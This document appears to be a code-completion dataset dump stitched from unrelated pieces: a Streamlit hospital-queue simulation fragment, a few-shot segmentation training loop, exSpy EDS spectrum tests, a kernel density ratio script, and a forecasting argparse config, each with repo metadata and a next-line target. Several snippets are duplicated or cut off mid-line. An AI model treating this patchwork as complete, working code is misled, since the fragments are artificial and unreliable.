B[Advice] B -.-> F([Nurse/Cubicle]) F -.-> B B----> |30% of patients| C[Treatment] C -.-> G([Nurse/Cubicle]) G -.-> C B ----> |70% of patients| Z[Discharge] C --> Z classDef default font-size:18pt,font-family:lexend; linkStyle default stroke:white; """ ) with tab2: st.markdown( """ ### Things to Try Out - Run the simulation with the default values and look at the graph 'Percentage of clients requiring treatment per simulation run' on the 'Simple Graphs' tab after running the model. This shows the split between patients who do and don't require treatment. What do you notice? --- - What impact does changing the number of patients who go down this extra route (the 'probability that a patient will need treatment') have on our treatment centre's performance with the default number of nurses and doctors at each stage? --- - Change the split of patients requiring treatment back to 0.5. - Can you optimize the number of nurses or doctors at each step for the different pathways to balance resource utilisation and queues? """ ) with tab1: col1, col2, col3 = st.columns([1,1,1]) with col1: st.subheader("Examination Resources") nurses_advice = st.slider("👨‍⚕️👩‍⚕️ How Many Nurses are Available for Examination?", 1, 10, step=1, value=3) consult_time_exam = st.slider("⏱️ How long (in minutes) does an examination take on average?", 5, 120, step=5, value=30) consult_time_sd_exam = st.slider("🕔 🕣 How much (in minutes) does the time for an examination usually vary by?", 5, 30, step=5, value=10) with col2: st.subheader("Treatment Resources") nurses_treat = st.slider("👨‍⚕️👩‍⚕️ How Many Doctors are Available for Treatment?", 1, 10, step=1, value=2) consult_time_treat = st.slider("⏱️ How long (in minutes) does treatment take on average?", 5, 120, step=5, value=50) consult_time_sd_treat = st.slider("🕔 🕣 How much (in minutes) does the time for treatment usually vary by?", 5, 60, step=5, value=30) with col3: st.subheader("Pathway Probabilities") treat_p = st.slider("🤕 Probability that a patient will need treatment", 0.0, 1.0, step=0.01, value=0.5) with st.expander("Previous Parameters"): st.markdown("If you like, you can edit these parameters too!") seed = st.slider("🎲 Set a random number for the computer to start from", 1, 1000, step=1, value=42) n_reps = st.slider("🔁 How many times should the simulation run?", 1, 30, step=1, value=6) run_time_days = st.slider("🗓️ How many days should we run the simulation for each time?", 1, 40, step=1, value=10) mean_arrivals_per_day = st.slider("🧍 How many patients should arrive per day on average?", 10, 300, step=5, value=140) # A user must press a streamlit button to run the model button_run_pressed = st.button("Run simulation") args = Scenario( random_number_set=seed, n_exam=nurses_advice, n_cubicles_1=nurses_treat, override_arrival_rate=True, manual_arrival_rate=60/(mean_arrivals_per_day/24), model="simple_with_branch", exam_mean=consult_time_exam, exam_var=consult_time_sd_exam, non_trauma_treat_mean=consult_time_treat, non_trauma_treat_var=consult_time_sd_treat, non_trauma_treat_p=treat_p ) if button_run_pressed: # add a spinner and then display success box with st.spinner('Simulating the minor injuries unit...'): await asyncio.sleep(0.1) # run multiple replications of experment detailed_outputs = multiple_replications( args, n_reps=n_reps, rc_period=run_time_days*60*24, return_detailed_logs=True ) results = pd.concat([detailed_outputs[i]['results']['summary_df'].assign(rep= i+1) for i in range(n_reps)]).set_index('rep') full_event_log = pd.concat([detailed_outputs[i]['results']['full_event_log'].assign(rep= i+1) for i in range(n_reps)]) del detailed_outputs gc.collect() attribute_count_df = full_event_log[(full_event_log["event"]=="does_not_require_treatment")| (full_event_log["event"]=="requires_treatment")][['patient','event','rep']].groupby(['rep','event']).count() animation_dfs_log = reshape_for_animations( full_event_log=full_event_log[ (full_event_log['rep']==1) & ((full_event_log['event_type']=='queue') | (full_event_log['event_type']=='resource_use') | (full_event_log['event_type']=='arrival_departure')) & # Limit to first 5 days (full_event_log['time'] <= 60*24*5) ], every_x_minutes=5 )['full_patient_df'] del full_event_log gc.collect() if button_run_pressed: tab1, tab2, tab3 = st.tabs( ["Animated Log", "Simple Graphs", "Advanced Graphs"] ) # st.markdown(""" # You can click on the three tabs below ("Animated Log", "Simple Graphs", and "Advanced Graphs") to view different outputs from the model. # """) with tab1: st.subheader("Animated Model Output") st.markdown( """ The plot below shows a snapshot every 5 minutes of the position of everyone in our emergency department model. The buttons to the left of the slider below the plot can be used to start and stop the animation. Clicking on the bar below the plot and dragging your cursor to the left or right allows you to rapidly jump through to a different time in the simulation. Only the first replication of the simulation is shown. """ ) event_position_df = pd.DataFrame([ {'event': 'arrival', 'x': 50, 'y': 300, 'label': "Arrival" }, # Examination {'event': 'examination_wait_begins', 'x': 275, 'y': 360, 'label': "Waiting for Examination" }, {'event': 'examination_begins', 'x': 275, 'y': 310, 'resource':'n_exam', 'label': "Being Examined" }, # Treatment (optional step) {'event': 'treatment_wait_begins', 'x': 430, 'y': 110, 'label': "Waiting for Treatment" }, {'event': 'treatment_begins', 'x': 430, 'y': 70, 'resource':'n_cubicles_1', 'label': "Being Treated" }, {'event': 'exit', 'x': 450, 'y': 220, 'label': "Exit"}, ]) with st.spinner('Generating the animated patient log...'): # st.write(animation_dfs_log[animation_dfs_log["minute"]<=60*24*5])
st.plotly_chart(animate_activity_log(
1
2023-10-26 09:57:52+00:00
12k
chenhao-zju/PMNet
train.py
[ { "identifier": "DAM", "path": "model/DAM.py", "snippet": "class DAM(nn.Module):\n\n def __init__(self, backbone, pretrained_path, use_original_imgsize, original=True, \n add_4dconv=False, skip_mode='concat', \n pooling_mix='concat', mixing_mode='concat',...
import torch.optim as optim import torch.nn as nn import torch from model.DAM import DAM from common.logger import Logger, AverageMeter from common.vis import Visualizer from common.evaluation import Evaluator from common.config import parse_opts from common import utils from data.dataset import FSSDataset
7,225
r""" training (validation) code """ def train(args, epoch, model, dataloader, optimizer, training, add_loss=True, k=1., nshot=1): r""" Train """ # Force randomness during training / freeze randomness during testing utils.fix_randseed(None) if training else utils.fix_randseed(0) model.module.train_mode() if training else model.module.eval() average_meter = AverageMeter(dataloader.dataset) for idx, batch in enumerate(dataloader): # 1. forward pass batch = utils.to_cuda(batch) if nshot==1: logit_mask = model(batch['query_img'], batch['query_mask'], batch['support_imgs'].squeeze(1), batch['support_masks'].squeeze(1)) else: logit_mask = model.module.predict_mask_nshot(batch, nshot=nshot) if add_loss: logit_mask, mid_loss, _ = logit_mask pred_mask = logit_mask.argmax(dim=1) # 2. Compute loss & update model parameters loss = model.module.compute_objective(logit_mask, batch['query_mask']) if add_loss: loss = loss + k*mid_loss if training: optimizer.zero_grad() loss.backward() optimizer.step() # 3. Evaluate prediction area_inter, area_union = Evaluator.classify_prediction(pred_mask, batch) average_meter.update(area_inter, area_union, batch['class_id'], loss.detach().clone()) average_meter.write_process(idx, len(dataloader), epoch, write_batch_idx=50) if not training:
r""" training (validation) code """ def train(args, epoch, model, dataloader, optimizer, training, add_loss=True, k=1., nshot=1): r""" Train """ # Force randomness during training / freeze randomness during testing utils.fix_randseed(None) if training else utils.fix_randseed(0) model.module.train_mode() if training else model.module.eval() average_meter = AverageMeter(dataloader.dataset) for idx, batch in enumerate(dataloader): # 1. forward pass batch = utils.to_cuda(batch) if nshot==1: logit_mask = model(batch['query_img'], batch['query_mask'], batch['support_imgs'].squeeze(1), batch['support_masks'].squeeze(1)) else: logit_mask = model.module.predict_mask_nshot(batch, nshot=nshot) if add_loss: logit_mask, mid_loss, _ = logit_mask pred_mask = logit_mask.argmax(dim=1) # 2. Compute loss & update model parameters loss = model.module.compute_objective(logit_mask, batch['query_mask']) if add_loss: loss = loss + k*mid_loss if training: optimizer.zero_grad() loss.backward() optimizer.step() # 3. Evaluate prediction area_inter, area_union = Evaluator.classify_prediction(pred_mask, batch) average_meter.update(area_inter, area_union, batch['class_id'], loss.detach().clone()) average_meter.write_process(idx, len(dataloader), epoch, write_batch_idx=50) if not training:
if Visualizer.visualize:
3
2023-10-26 03:14:47+00:00
12k
hyperspy/exspy
exspy/tests/signals/test_eds_tem.py
[ { "identifier": "preferences", "path": "exspy/_defaults_parser.py", "snippet": "def guess_gos_path():\ndef template2config(template, config):\ndef config2template(template, config):\n def save(self):\nclass EELSConfig(t.HasTraits):\nclass EDSConfig(t.HasTraits):\nclass Preferences(t.HasTraits):\n ...
import warnings import numpy as np import pytest import exspy from hyperspy.components1d import Gaussian from hyperspy.decorators import lazifyTestClass from exspy._defaults_parser import preferences from exspy.misc.eds import utils as utils_eds from exspy.signals import EDSTEMSpectrum
10,399
# Copyright 2007-2023 The exSpy developers # # This file is part of exSpy. # # exSpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # exSpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with exSpy. If not, see <https://www.gnu.org/licenses/#GPL>. @lazifyTestClass class Test_metadata: def setup_method(self, method): # Create an empty spectrum s = EDSTEMSpectrum(np.ones((4, 2, 1024))) s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time = 3.1 s.metadata.Acquisition_instrument.TEM.beam_energy = 15.0 self.signal = s def test_sum_minimum_missing(self): s = EDSTEMSpectrum(np.ones((4, 2, 1024))) s.sum() def test_sum_live_time1(self): s = self.signal old_metadata = s.metadata.deepcopy() sSum = s.sum(0) assert ( sSum.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time * 2 ) # Check that metadata is unchanged print(old_metadata, s.metadata) # Capture for comparison on error assert ( old_metadata.as_dictionary() == s.metadata.as_dictionary() ), "Source metadata changed" def test_sum_live_time2(self): s = self.signal old_metadata = s.metadata.deepcopy() sSum = s.sum((0, 1)) assert ( sSum.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time * 2 * 4 ) # Check that metadata is unchanged print(old_metadata, s.metadata) # Capture for comparison on error assert ( old_metadata.as_dictionary() == s.metadata.as_dictionary() ), "Source metadata changed" def test_sum_live_time_out_arg(self): s = self.signal sSum = s.sum(0) s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time = 4.2 s_resum = s.sum(0) r = s.sum(0, out=sSum) assert r is None assert ( s_resum.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time * 2 ) np.testing.assert_allclose(s_resum.data, sSum.data) def test_rebin_live_time(self): s = self.signal old_metadata = s.metadata.deepcopy() dim = s.axes_manager.shape s = s.rebin(new_shape=[dim[0] / 2, dim[1] / 2, dim[2]]) assert ( s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == 3.1 * 2 * 2 ) # Check that metadata is unchanged print(old_metadata, self.signal.metadata) # Captured on error assert ( old_metadata.as_dictionary() == self.signal.metadata.as_dictionary() ), "Source metadata changed" def test_offset_after_rebin(self): s = self.signal s.axes_manager[0].offset = 1 s.axes_manager[1].offset = 2 s.axes_manager[2].offset = 3 s2 = s.rebin(scale=(2, 2, 1)) assert s2.axes_manager[0].offset == 1.5 assert s2.axes_manager[1].offset == 2.5 assert s2.axes_manager[2].offset == s.axes_manager[2].offset def test_add_elements(self): s = self.signal s.add_elements(["Al", "Ni"]) assert s.metadata.Sample.elements == ["Al", "Ni"] s.add_elements(["Al", "Ni"]) assert s.metadata.Sample.elements == ["Al", "Ni"] s.add_elements( [ "Fe", ] ) assert s.metadata.Sample.elements == ["Al", "Fe", "Ni"] s.set_elements(["Al", "Ni"]) assert s.metadata.Sample.elements == ["Al", "Ni"] def test_default_param(self): s = self.signal mp = s.metadata assert ( mp.Acquisition_instrument.TEM.Detector.EDS.energy_resolution_MnKa
# -*- coding: utf-8 -*- # Copyright 2007-2023 The exSpy developers # # This file is part of exSpy. # # exSpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # exSpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with exSpy. If not, see <https://www.gnu.org/licenses/#GPL>. @lazifyTestClass class Test_metadata: def setup_method(self, method): # Create an empty spectrum s = EDSTEMSpectrum(np.ones((4, 2, 1024))) s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time = 3.1 s.metadata.Acquisition_instrument.TEM.beam_energy = 15.0 self.signal = s def test_sum_minimum_missing(self): s = EDSTEMSpectrum(np.ones((4, 2, 1024))) s.sum() def test_sum_live_time1(self): s = self.signal old_metadata = s.metadata.deepcopy() sSum = s.sum(0) assert ( sSum.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time * 2 ) # Check that metadata is unchanged print(old_metadata, s.metadata) # Capture for comparison on error assert ( old_metadata.as_dictionary() == s.metadata.as_dictionary() ), "Source metadata changed" def test_sum_live_time2(self): s = self.signal old_metadata = s.metadata.deepcopy() sSum = s.sum((0, 1)) assert ( sSum.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time * 2 * 4 ) # Check that metadata is unchanged print(old_metadata, s.metadata) # Capture for comparison on error assert ( old_metadata.as_dictionary() == s.metadata.as_dictionary() ), "Source metadata changed" def test_sum_live_time_out_arg(self): s = self.signal sSum = s.sum(0) s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time = 4.2 s_resum = s.sum(0) r = s.sum(0, out=sSum) assert r is None assert ( s_resum.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time * 2 ) np.testing.assert_allclose(s_resum.data, sSum.data) def test_rebin_live_time(self): s = self.signal old_metadata = s.metadata.deepcopy() dim = s.axes_manager.shape s = s.rebin(new_shape=[dim[0] / 2, dim[1] / 2, dim[2]]) assert ( s.metadata.Acquisition_instrument.TEM.Detector.EDS.live_time == 3.1 * 2 * 2 ) # Check that metadata is unchanged print(old_metadata, self.signal.metadata) # Captured on error assert ( old_metadata.as_dictionary() == self.signal.metadata.as_dictionary() ), "Source metadata changed" def test_offset_after_rebin(self): s = self.signal s.axes_manager[0].offset = 1 s.axes_manager[1].offset = 2 s.axes_manager[2].offset = 3 s2 = s.rebin(scale=(2, 2, 1)) assert s2.axes_manager[0].offset == 1.5 assert s2.axes_manager[1].offset == 2.5 assert s2.axes_manager[2].offset == s.axes_manager[2].offset def test_add_elements(self): s = self.signal s.add_elements(["Al", "Ni"]) assert s.metadata.Sample.elements == ["Al", "Ni"] s.add_elements(["Al", "Ni"]) assert s.metadata.Sample.elements == ["Al", "Ni"] s.add_elements( [ "Fe", ] ) assert s.metadata.Sample.elements == ["Al", "Fe", "Ni"] s.set_elements(["Al", "Ni"]) assert s.metadata.Sample.elements == ["Al", "Ni"] def test_default_param(self): s = self.signal mp = s.metadata assert ( mp.Acquisition_instrument.TEM.Detector.EDS.energy_resolution_MnKa
== preferences.EDS.eds_mn_ka
0
2023-10-28 20:04:10+00:00
12k
swyoon/variationally-weighted-kernel-density-estimation
train.py
[ { "identifier": "find_optimal_bandwidth", "path": "KDE.py", "snippet": "def find_optimal_bandwidth(X, l_h, gpu=True, lik=True):\n l_lik = []\n for h in l_h:\n kde = KDE(h=h, gpu=gpu)\n kde.fit(X)\n p_loo = kde.p_loo()\n f_sq = kde.f_sq()\n if lik:\n li...
import torch import argparse import numpy as np from KDE import find_optimal_bandwidth from ratio import KernelRatioNaive, KernelRatioAlpha, KernelRatioGaussian from model.energy import Score_network, Weight_network, Energy from loss.bias import Laplacian from loss.sliced_score_matching import sliced_VR_score_matching from scipy.spatial.distance import pdist
9,581
parser = argparse.ArgumentParser() parser.add_argument('--device', type=str, default='cuda') parser.add_argument('--model', type=str, default='KDE') parser.add_argument('--dim', type=int, default=20) parser.add_argument('--score_epoch', type=int, default=500) parser.add_argument('--weight_epoch', type=int, default=200) parser.add_argument('--batch_size', type=int, default=1024) parser.add_argument('--num_data', type=int, default=1024) args = parser.parse_args() if args.device == 'cuda': gpu=True else: gpu=False mean1 = np.concatenate([np.array([0]), np.zeros((args.dim-1,))]) Cov1 = np.eye(args.dim)*np.concatenate([np.array([1.]), np.ones((args.dim-1,))]) mean2 = np.concatenate([np.sqrt([2]), np.zeros((args.dim-1,))]) Cov2 = np.eye(args.dim)*np.concatenate([np.array([1.]), np.ones((args.dim-1,))]) L = torch.linalg.cholesky(torch.tensor(Cov1.astype(np.float32))) data1 = torch.randn(args.num_data, args.dim) @ L.T + mean1.astype(np.float32) L = torch.linalg.cholesky(torch.tensor(Cov2.astype(np.float32))) data2 = torch.randn(args.num_data, args.dim) @ L.T + mean2.astype(np.float32) TKL = (np.trace(np.linalg.inv(Cov2) @ Cov1) + (mean2-mean1).T @ np.linalg.inv(Cov2) @ (mean2-mean1) - args.dim + np.log(np.linalg.det(Cov2)/np.linalg.det(Cov1)))/2 print(f"True KL divergence: {TKL}") data1_set = torch.utils.data.TensorDataset(data1) data2_set = torch.utils.data.TensorDataset(data2) total_set = torch.utils.data.TensorDataset(torch.cat([data1, data2])) data1_loader = torch.utils.data.DataLoader(data1_set, batch_size=args.batch_size, shuffle=True) data2_loader = torch.utils.data.DataLoader(data2_set, batch_size=args.batch_size, shuffle=True) total_loader = torch.utils.data.DataLoader(total_set, batch_size=args.batch_size, shuffle=True) l_h = np.linspace(0.2, 1., 20) if args.model == "KDE":
parser = argparse.ArgumentParser() parser.add_argument('--device', type=str, default='cuda') parser.add_argument('--model', type=str, default='KDE') parser.add_argument('--dim', type=int, default=20) parser.add_argument('--score_epoch', type=int, default=500) parser.add_argument('--weight_epoch', type=int, default=200) parser.add_argument('--batch_size', type=int, default=1024) parser.add_argument('--num_data', type=int, default=1024) args = parser.parse_args() if args.device == 'cuda': gpu=True else: gpu=False mean1 = np.concatenate([np.array([0]), np.zeros((args.dim-1,))]) Cov1 = np.eye(args.dim)*np.concatenate([np.array([1.]), np.ones((args.dim-1,))]) mean2 = np.concatenate([np.sqrt([2]), np.zeros((args.dim-1,))]) Cov2 = np.eye(args.dim)*np.concatenate([np.array([1.]), np.ones((args.dim-1,))]) L = torch.linalg.cholesky(torch.tensor(Cov1.astype(np.float32))) data1 = torch.randn(args.num_data, args.dim) @ L.T + mean1.astype(np.float32) L = torch.linalg.cholesky(torch.tensor(Cov2.astype(np.float32))) data2 = torch.randn(args.num_data, args.dim) @ L.T + mean2.astype(np.float32) TKL = (np.trace(np.linalg.inv(Cov2) @ Cov1) + (mean2-mean1).T @ np.linalg.inv(Cov2) @ (mean2-mean1) - args.dim + np.log(np.linalg.det(Cov2)/np.linalg.det(Cov1)))/2 print(f"True KL divergence: {TKL}") data1_set = torch.utils.data.TensorDataset(data1) data2_set = torch.utils.data.TensorDataset(data2) total_set = torch.utils.data.TensorDataset(torch.cat([data1, data2])) data1_loader = torch.utils.data.DataLoader(data1_set, batch_size=args.batch_size, shuffle=True) data2_loader = torch.utils.data.DataLoader(data2_set, batch_size=args.batch_size, shuffle=True) total_loader = torch.utils.data.DataLoader(total_set, batch_size=args.batch_size, shuffle=True) l_h = np.linspace(0.2, 1., 20) if args.model == "KDE":
opt_h1 = find_optimal_bandwidth(data1, l_h, lik=False, gpu=gpu)
0
2023-10-27 04:47:03+00:00
12k
rationalspark/JTFT
run_longExp.py
[ { "identifier": "Exp_Main_JTFT", "path": "exp/exp_main_JTFT.py", "snippet": "class Exp_Main_JTFT(Exp_Basic):\n def __init__(self, args):\n super(Exp_Main_JTFT, self).__init__(args)\n\n def _build_model(self):\n model_dict = {\n 'JTFT': JTFT,\n }\n model = mod...
import argparse import os import torch import random import numpy as np from exp.exp_main_JTFT import Exp_Main_JTFT from exp.exp_main import Exp_Main
8,942
parser.add_argument('--is_training', type=int, required=True, default=1, help='status') parser.add_argument('--model_id', type=str, required=True, default='test', help='model id') parser.add_argument('--model', type=str, required=True, default='Autoformer', help='model name, options: [Autoformer, Informer, Transformer]') # data loader parser.add_argument('--data', type=str, required=True, default='ETTm1', help='dataset type') parser.add_argument('--root_path', type=str, default='./data/ETT/', help='root path of the data file') parser.add_argument('--data_path', type=str, default='ETTh1.csv', help='data file') parser.add_argument('--features', type=str, default='M', help='forecasting task, options:[M, S, MS]; M:multivariate predict multivariate, S:univariate predict univariate, MS:multivariate predict univariate') parser.add_argument('--target', type=str, default='OT', help='target feature in S or MS task') parser.add_argument('--freq', type=str, default='h', help='freq for time features encoding, options:[s:secondly, t:minutely, h:hourly, d:daily, b:business days, w:weekly, m:monthly], you can also use more detailed freq like 15min or 3h') parser.add_argument('--checkpoints', type=str, default='./checkpoints/', help='location of model checkpoints') # forecasting task parser.add_argument('--seq_len', type=int, default=96, help='input sequence length') parser.add_argument('--label_len', type=int, default=48, help='start token length') parser.add_argument('--pred_len', type=int, default=96, help='prediction sequence length') # PatchTST parser.add_argument('--fc_dropout', type=float, default=0.05, help='fully connected dropout') parser.add_argument('--head_dropout', type=float, default=0.0, help='head dropout') parser.add_argument('--patch_len', type=int, default=16, help='patch length') parser.add_argument('--stride', type=int, default=8, help='stride') parser.add_argument('--padding_patch', default='end', help='None: None; end: padding on the end') parser.add_argument('--revin', type=int, default=1, help='RevIN; True 1 False 0') parser.add_argument('--affine', type=int, default=0, help='RevIN-affine; True 1 False 0') parser.add_argument('--subtract_last', type=int, default=0, help='0: subtract mean; 1: subtract last') parser.add_argument('--decomposition', type=int, default=0, help='decomposition: 0 for no decomposition, 1 for learnable decomposition, 2 for muti-decomposition proposed in MICN') parser.add_argument('--kernel_size', type=int, default=25, help='decomposition-kernel') parser.add_argument('--individual', type=int, default=0, help='individual head; True 1 False 0') # Formers parser.add_argument('--embed_type', type=int, default=0, help='0: default 1: value embedding + temporal embedding + positional embedding 2: value embedding + temporal embedding 3: value embedding + positional embedding 4: value embedding') parser.add_argument('--enc_in', type=int, default=7, help='encoder input size') # DLinear with --individual, use this hyperparameter as the number of channels parser.add_argument('--dec_in', type=int, default=7, help='decoder input size') parser.add_argument('--c_out', type=int, default=7, help='output size') parser.add_argument('--d_model', type=int, default=512, help='dimension of model') parser.add_argument('--n_heads', type=int, default=8, help='num of heads') parser.add_argument('--e_layers', type=int, default=2, help='num of encoder layers') parser.add_argument('--d_layers', type=int, default=1, help='num of decoder layers') parser.add_argument('--d_ff', type=int, default=2048, help='dimension of fcn') parser.add_argument('--moving_avg', type=int, default=25, help='window size of moving average') parser.add_argument('--factor', type=int, default=1, help='attn factor') parser.add_argument('--distil', action='store_false', help='whether to use distilling in encoder, using this argument means not using distilling', default=True) parser.add_argument('--dropout', type=float, default=0.05, help='dropout') parser.add_argument('--embed', type=str, default='timeF', help='time features encoding, options:[timeF, fixed, learned]') parser.add_argument('--activation', type=str, default='gelu', help='activation') parser.add_argument('--output_attention', action='store_true', help='whether to output attention in ecoder') parser.add_argument('--do_predict', action='store_true', help='whether to predict unseen future data') # optimization parser.add_argument('--num_workers', type=int, default=10, help='data loader num workers') parser.add_argument('--itr', type=int, default=2, help='experiments times') parser.add_argument('--train_epochs', type=int, default=100, help='train epochs') parser.add_argument('--batch_size', type=int, default=128, help='batch size of train input data') parser.add_argument('--patience', type=int, default=100, help='early stopping patience') parser.add_argument('--learning_rate', type=float, default=0.0001, help='optimizer learning rate') parser.add_argument('--des', type=str, default='test', help='exp description') parser.add_argument('--loss', type=str, default='mse', help='loss function') parser.add_argument('--lradj', type=str, default='type3', help='adjust learning rate') parser.add_argument('--pct_start', type=float, default=0.3, help='pct_start') parser.add_argument('--use_amp', action='store_true', help='use automatic mixed precision training', default=False) # GPU parser.add_argument('--use_gpu', type=bool, default=True, help='use gpu') parser.add_argument('--gpu', type=int, default=0, help='gpu') parser.add_argument('--use_multi_gpu', action='store_true', help='use multiple gpus', default=False) parser.add_argument('--devices', type=str, default='0,1,2,3', help='device ids of multile gpus') parser.add_argument('--test_flop', action='store_true', default=False, help='See utils/tools for usage') #JTFT parser.add_argument('--n_freq', type=int, default=32, help='number of frequency components') parser.add_argument('--n_concat_td',type=int, default=4, help='number of TD patches to concat') parser.add_argument('--d_compress_max', type=int, default=96, help='max width in the compressed (time) dimension for linear transformer') parser.add_argument('--e_layers_tfi', type=int, default=None, help='Number of layers of TFI encoder') parser.add_argument('--min_epochs', type=int, default=1, help='minimum epochs for training') parser.add_argument('--mod_scal_tfi', type=float, default=1.0, help='Scale factor of the TFI model (n_heads, d_k, d_v, d_ff). Typical values are 1.0, 0.5 and 0.25, defaut is 1.0. Use negative value to disable ffn in the mapped transformer') parser.add_argument('--ini_with_low_freq', action='store_true', default=False, help='whether to init with low frequencies') parser.add_argument('--use_mark', action='store_true', default=False, help='whether to use marks') parser.add_argument('--resume_after_epo', type=int, default=0, help='Resume (the No. of epoches are finished, the 1st epoch is 1)') parser.add_argument('--sep_time_freq', action='store_true', default=False, help='Use seperated FD learning') parser.add_argument('--use_huber_loss', action='store_true', default=False, help='Use Huber loss function') parser.add_argument('--huber_delta', type=float, default=1.0, help='pct_start') parser.add_argument('--b_not_compile', action='store_true', default=False, help='Do not compile the model') args = parser.parse_args() # random seed fix_seed = args.random_seed random.seed(fix_seed) torch.manual_seed(fix_seed) np.random.seed(fix_seed) args.use_gpu = True if torch.cuda.is_available() and args.use_gpu else False if args.use_gpu and args.use_multi_gpu: args.devices = args.devices.replace(' ', '') device_ids = args.devices.split(',') args.device_ids = [int(id_) for id_ in device_ids] args.gpu = args.device_ids[0] print('Args in experiment:') print(args) n_dev=torch.cuda.device_count() print("Available devices:") for i_dev in range(n_dev): print(torch.cuda.get_device_name(i_dev)) if 'JTFT' in args.model: Exp = Exp_Main_JTFT else:
parser = argparse.ArgumentParser(description='Autoformer & Transformer family for Time Series Forecasting') # random seed parser.add_argument('--random_seed', type=int, default=2021, help='random seed') # basic config parser.add_argument('--is_training', type=int, required=True, default=1, help='status') parser.add_argument('--model_id', type=str, required=True, default='test', help='model id') parser.add_argument('--model', type=str, required=True, default='Autoformer', help='model name, options: [Autoformer, Informer, Transformer]') # data loader parser.add_argument('--data', type=str, required=True, default='ETTm1', help='dataset type') parser.add_argument('--root_path', type=str, default='./data/ETT/', help='root path of the data file') parser.add_argument('--data_path', type=str, default='ETTh1.csv', help='data file') parser.add_argument('--features', type=str, default='M', help='forecasting task, options:[M, S, MS]; M:multivariate predict multivariate, S:univariate predict univariate, MS:multivariate predict univariate') parser.add_argument('--target', type=str, default='OT', help='target feature in S or MS task') parser.add_argument('--freq', type=str, default='h', help='freq for time features encoding, options:[s:secondly, t:minutely, h:hourly, d:daily, b:business days, w:weekly, m:monthly], you can also use more detailed freq like 15min or 3h') parser.add_argument('--checkpoints', type=str, default='./checkpoints/', help='location of model checkpoints') # forecasting task parser.add_argument('--seq_len', type=int, default=96, help='input sequence length') parser.add_argument('--label_len', type=int, default=48, help='start token length') parser.add_argument('--pred_len', type=int, default=96, help='prediction sequence length') # PatchTST parser.add_argument('--fc_dropout', type=float, default=0.05, help='fully connected dropout') parser.add_argument('--head_dropout', type=float, default=0.0, help='head dropout') parser.add_argument('--patch_len', type=int, default=16, help='patch length') parser.add_argument('--stride', type=int, default=8, help='stride') parser.add_argument('--padding_patch', default='end', help='None: None; end: padding on the end') parser.add_argument('--revin', type=int, default=1, help='RevIN; True 1 False 0') parser.add_argument('--affine', type=int, default=0, help='RevIN-affine; True 1 False 0') parser.add_argument('--subtract_last', type=int, default=0, help='0: subtract mean; 1: subtract last') parser.add_argument('--decomposition', type=int, default=0, help='decomposition: 0 for no decomposition, 1 for learnable decomposition, 2 for muti-decomposition proposed in MICN') parser.add_argument('--kernel_size', type=int, default=25, help='decomposition-kernel') parser.add_argument('--individual', type=int, default=0, help='individual head; True 1 False 0') # Formers parser.add_argument('--embed_type', type=int, default=0, help='0: default 1: value embedding + temporal embedding + positional embedding 2: value embedding + temporal embedding 3: value embedding + positional embedding 4: value embedding') parser.add_argument('--enc_in', type=int, default=7, help='encoder input size') # DLinear with --individual, use this hyperparameter as the number of channels parser.add_argument('--dec_in', type=int, default=7, help='decoder input size') parser.add_argument('--c_out', type=int, default=7, help='output size') parser.add_argument('--d_model', type=int, default=512, help='dimension of model') parser.add_argument('--n_heads', type=int, default=8, help='num of heads') parser.add_argument('--e_layers', type=int, default=2, help='num of encoder layers') parser.add_argument('--d_layers', type=int, default=1, help='num of decoder layers') parser.add_argument('--d_ff', type=int, default=2048, help='dimension of fcn') parser.add_argument('--moving_avg', type=int, default=25, help='window size of moving average') parser.add_argument('--factor', type=int, default=1, help='attn factor') parser.add_argument('--distil', action='store_false', help='whether to use distilling in encoder, using this argument means not using distilling', default=True) parser.add_argument('--dropout', type=float, default=0.05, help='dropout') parser.add_argument('--embed', type=str, default='timeF', help='time features encoding, options:[timeF, fixed, learned]') parser.add_argument('--activation', type=str, default='gelu', help='activation') parser.add_argument('--output_attention', action='store_true', help='whether to output attention in ecoder') parser.add_argument('--do_predict', action='store_true', help='whether to predict unseen future data') # optimization parser.add_argument('--num_workers', type=int, default=10, help='data loader num workers') parser.add_argument('--itr', type=int, default=2, help='experiments times') parser.add_argument('--train_epochs', type=int, default=100, help='train epochs') parser.add_argument('--batch_size', type=int, default=128, help='batch size of train input data') parser.add_argument('--patience', type=int, default=100, help='early stopping patience') parser.add_argument('--learning_rate', type=float, default=0.0001, help='optimizer learning rate') parser.add_argument('--des', type=str, default='test', help='exp description') parser.add_argument('--loss', type=str, default='mse', help='loss function') parser.add_argument('--lradj', type=str, default='type3', help='adjust learning rate') parser.add_argument('--pct_start', type=float, default=0.3, help='pct_start') parser.add_argument('--use_amp', action='store_true', help='use automatic mixed precision training', default=False) # GPU parser.add_argument('--use_gpu', type=bool, default=True, help='use gpu') parser.add_argument('--gpu', type=int, default=0, help='gpu') parser.add_argument('--use_multi_gpu', action='store_true', help='use multiple gpus', default=False) parser.add_argument('--devices', type=str, default='0,1,2,3', help='device ids of multile gpus') parser.add_argument('--test_flop', action='store_true', 